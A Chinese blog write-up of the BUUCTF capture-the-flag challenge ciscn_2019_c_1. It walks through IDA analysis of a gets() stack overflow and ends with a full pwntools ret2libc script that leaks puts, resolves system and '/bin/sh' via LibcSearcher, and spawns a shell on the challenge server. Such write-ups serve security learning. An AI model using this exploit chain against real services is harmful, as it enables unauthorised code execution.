[buuuctf]ciscn_2019_c_1

30 篇文章 2 订阅
本文详细介绍了如何通过ida分析一个64位Linux程序,检查其保护机制,找到关键函数,并利用栈溢出漏洞进行 libc 溢出攻击。首先,通过checksec确定程序开启NX保护,然后在ida中分析main函数,发现加密函数encrypt。通过构造特定输入,绕过strlen检查,利用LibcSearcher库找到特定地址,最终实现利用漏洞获取flag。
摘要由CSDN通过智能技术生成

解题思路

查壳

第一步也就是查壳,拖入软件中,之后获得到了这个是64位的软件。
在这里插入图片描述

ida中查看逻辑等信息

先放入Linux中进行checksec中,发现开启了NX保护,其他的保护未开,接下来放入ida中。
在这里插入图片描述
发现有main函数,查看main函数。
在这里插入图片描述
发现是这个样子的,那么就现在linux下面运行一下,看一下第一步出现的效果是什么样子的,第一步的效果是输出那些字母。
在这里插入图片描述
有一个相对应的位置,之后call进入了这个begin的函数内,跳转进去看是有什么,发现正好对应上下面的1.2.3.4的输入位置。
在这里插入图片描述
没发现有什么输入的位置,跳回去,这里就是正常输出一些信息的地方回到main函数,之后按照流程来看,是进入了loc_400B8A,之后进入发现,有何输入,之后判断是否是2,否则怎么跳转,在linux中实验一下,发现,你输入的数字被写入rbp+var_4的为位置,之后把rbp+var_4给eax,之后比较eax是否等于2,如果等于二,跳转到loc_400BDE的位置输出,之后输出I think you can do it by yourself,值赋值为0,跳转到loc_400c16,之后在跳转到loc_400B8A,直接转回去了。
在这里插入图片描述
之后输入3看一下,前面都一样,看一眼怎么跳的。
在这里插入图片描述
3的话,直接就这么跳转出去了,之后看看1。
在这里插入图片描述
这是你输入1或者1,2,3都不是的情况,但是我们要进入1中有个重要的函数是加密,也就是encrypt,进入encrypt中之后发现是一个很大的流程,之后继续进行分析。
在这里插入图片描述
进来之后发现,是一个这种结构的流程,发现有一个gets,这个,还有就是对于c字符串的,字符串是遇到\x00就会结束,但是gets不会结束,之后发现这个题目里面没有给/bin/sh和system的函数,所以用libc泄露进行溢出。
在这里插入图片描述
这里汇编看的有点不舒服,有的地方不确定,所以反编译。
在这里插入图片描述
这里进行了很多的运算,到时候对于libc不方便,那么就利用这个字符串进行绕过,开头一个\x00进行输入,下面吗的strlen就等于0,之后如果你输入的小于等于0,直接break,直接就跳出了这个循环之中,所有写的都写入了gets中没有任何运算,看一眼环境是ubuntu18,需要进行栈对齐,所以我加上我们需要从libc中获取到/bin/sh和system,根据64位的调用规则是rdi,rsi,rdx,rcx,r8,r9进行调用,所以我们需要两个东西,一个是ret的地址,进行栈对齐,还有就是pop rdi。
在这里插入图片描述
在这里插入图片描述
一个是pop rdi和ret的位置,所以需要LibcSearcher库写脚本的时候,所以大概的脚本前期第一步所有的已知,先看看需要多大进行溢出。
在这里插入图片描述
那么脚本就可以开始写了。

脚本

from pwn import * #调用pwn库
from LibcSearcher import * #调用LibcSearcher库
context(os='linux', arch='amd64', log_level='debug') #linux系统 64位 debug模式

#调用开始
#p = process('./ciscn_2019_c_1')
p = remote('node4.buuoj.cn',25837)
elf = ELF('ciscn_2019_c_1')
got_s = elf.got['puts']
plt_s = elf.plt['puts']
main_s = elf.sym['main']

#已知
ret = 0x04006b9
pop_rdi = 0x0400c83

#payload
#第一次
payload = b'\x00' + b'a'*(0x50-1+8) +p64(pop_rdi) + p64(got_s) + p64(plt_s) + p64(main_s)#结构是\x00 + 溢出字符 + pop_rdi + got + plt + main
p.sendlineafter('Input your choice!\n', '1')
p.sendlineafter('Input your Plaintext to be encrypted\n', payload)
p.recvuntil('Ciphertext\n')
p.recvline()
puts_a = u64(p.recv(7)[:-1].ljust(8,b'\x00'))

#获取libc溢出的地址
libc = LibcSearcher('puts', puts_a)
libc_b = puts_a - libc.dump('puts')
system_a = libc_b+ libc.dump('system')
binsh_a = libc_b + libc.dump('str_bin_sh')

#第二次
payload =b'\x00' +b'a' * (0x50 -1+ 8)
payload = payload + p64(ret) + p64(pop_rdi) + p64(binsh_a) + p64(system_a)#格式 \x00 + 溢出的字符 + 栈对其 + pop_rdi + /bin/sh + system
p.sendlineafter('Input your choice!\n', '1')
p.sendlineafter('Input your Plaintext to be encrypted\n', payload)
p.interactive()

最后获得flag
在这里插入图片描述
flag{f0a2cf81-4dba-4e43-a1e0-5696a077fac8}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

逆向萌新

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值